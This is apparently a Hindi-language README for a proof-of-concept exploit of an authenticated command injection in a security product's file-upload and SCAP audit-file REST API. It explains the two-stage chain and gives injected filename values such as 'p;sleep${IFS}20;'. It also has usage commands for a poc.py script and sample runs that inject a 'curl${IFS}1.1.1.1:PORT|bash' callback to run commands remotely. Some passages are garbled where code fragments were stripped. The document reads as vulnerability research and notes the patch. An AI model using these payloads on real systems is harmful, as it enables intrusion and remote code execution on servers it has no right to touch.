
फ़ाइल अपलोड प्रोसेसिंग में प्रमाणित कमांड इंजेक्शन के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो REST API के माध्यम से ब्लाइंड टाइमिंग और कॉलबैक-आधारित कमांड निष्पादन के साथ दो-चरणीय श्रृंखला का प्रदर्शन करता है।

स्थिति: पुष्टिकृत 6.7.2-14.el9 लैब पर (2026-08-20)। स्टेज्ड फ़ाइलनाम
p;sleep${IFS}20;-EvvfJk POST /rest/file/upload के माध्यम से (context प्रीफ़िक्स में
मेटाकैरेक्टर होते हैं), फिर POST /rest/auditFile (type=scapLinux, version=1.2) ठीक
20.1s तक रुका और त्रुटि 106 ("Error adding Tailoring file to SCAP zip file") लौटाई —
सामान्य पोस्ट-इंजेक्शन त्रुटि पथ। निष्पादन वेब सेवा उपयोगकर्ता के रूप में zip -9Tj शेल
कमांड के अंदर होता है। (RPM डिफ़ के अनुसार 6.9.0 में पैच किया गया; यह भेद्यता
कम से कम 6.7.2–6.8.x में मौजूद है।)
दो-चरणीय श्रृंखला, दोनों चरण हमलावर के नियंत्रण में:
फ़ाइलनाम नियंत्रण — POST /rest/file अपलोड को के माध्यम से
संग्रहीत करता है (), जो डिस्क पर नाम कच्चे क्लाइंट
पैरामीटर से बनाता है:
. अज्ञात संदर्भ सभी
सामग्री सत्यापन छोड़ देते हैं ( की NOTICE इसे "SC 4.x के बाद से पूरी तरह खुला" कहती है) लेकिन
फिर भी संग्रहीत होते हैं — इसलिए शेल मेटाकैरेक्टर (, , बैकटिक्स) स्टेज्ड फ़ाइलनाम में
बने रहते हैं।
Filesystem::saveTmp()FilesystemLib.php:587contexttempnam($tmpDir, "$userID.$token." . $context . "-")Files.php;$()इंजेक्शन सिंक — POST /rest/auditFile जिसमें type∈SCAP, version=1.2 है,
टेलरिंग शाखा (AuditFiles.php:163) में प्रवेश करता है:
$scapZipFile = $tmpDir . $params['filename'] (पूरी तरह क्लाइंट-नियंत्रित) →
AuditFileLib::addSCAPTailoringFile() पंक्ति 2304:
$tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename() / को
हटाता है लेकिन शेल मेटाकैरेक्टर को नहीं — फिर बिना एस्केप इसमें:
exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc")।
दूसरा, समान-वर्ग का सिंक: Files.php:360
exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") — extractFile() में।
दोनों zip कमांड में escapeshellarg($tmpZipFile); Utility::execSafe() (argv-फ़ॉर्म proc_open + -- विभाजक) unzip स्ट्रिंग exec को प्रतिस्थापित करता है; AuditFiles::applySCAPTailoringFile() में फ़ाइलनाम सत्यापन जोड़ा गया (वह CVE-2026-19679 है)।
# blind timing check (sleep in the context prefix; no '/' needed)
./poc.py --target https://sc.lab --username analyst --password 'pass' --check
# run a command with output capture: the PoC serves the script over HTTP, injects a
# short curl|bash callback, and prints the POSTed-back output. Target must be able to
# reach this machine (same L2 in the lab).
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
# verbatim injection (no callback) — payload must fit ~47 chars
./poc.py --target https://sc.lab --username analyst --password 'pass' \
--cmd 'touch${IFS}/tmp/pwned' --no-exfil
नोट्स:
/rest/file/upload है (मल्टीपार्ट फ़ील्ड Filedata, context
फ़ॉर्म फ़ील्ड) — लैब पर खोजा गया; अन्य बिल्ड में भिन्न हो सकते हैं, संभावित विकल्पों की जाँच की गई।tempnam() स्टेज्ड-नाम प्रीफ़िक्स को काट देता है — context के
केवल ~50-55 वर्ण बचते हैं (लैब पर मापा गया; हेक्स-बूटस्ट्रैप वैरिएंट पेलोड के
बीच में काट दिया गया था)। p;sleep${IFS}20; जैसे छोटे इंजेक्शन फिट होते हैं;
इससे लंबा सब कुछ कॉलबैक सर्वर के माध्यम से जाता है।type=scapLinux|scapWindows, version=1.2,
benchmarkName, dataStreamName चाहिए (AuditFiles::validateAdd के अनुसार); PARAM_FILENAME
केवल / और अस्तित्वहीन फ़ाइलों को अस्वीकार करता है, इसलिए ;/${IFS} पास हो जाते हैं।लैब-सत्यापन आइटम (विफल होने पर स्क्रिप्ट आउटपुट में फ़्लैग किए जाते हैं):
SCAPTailoringFileParser की आवश्यकता पूरी करनी चाहिए (>=1
प्रोफ़ाइल); अस्वीकार होने पर वास्तविक SCAP टेलरिंग datastream से बदलें।type स्ट्रिंग को AuditFileLib::$validSCAPTypes के किसी सदस्य से मेल खाना चाहिए (scap
अपेक्षित)।auditFile बॉडी कुंजियाँ AuditFiles::validateAdd() से आती हैं; यदि POST
पैरामीटर त्रुटि लौटाता है तो समायोजित करें।../cve-2026-19679/ — उसी श्रृंखला का इनपुट-सत्यापन भाग (फ़ाइलनाम सैनिटाइज़ेशन), वर्शन-डिटेक्शन डिफरेंशियल के साथ।$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
[+] authenticated, token 20425636...
[*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-15xUAv'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
tns
$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
[+] authenticated, token 20958963...
[*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-DQzq4v'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
/opt/sc/www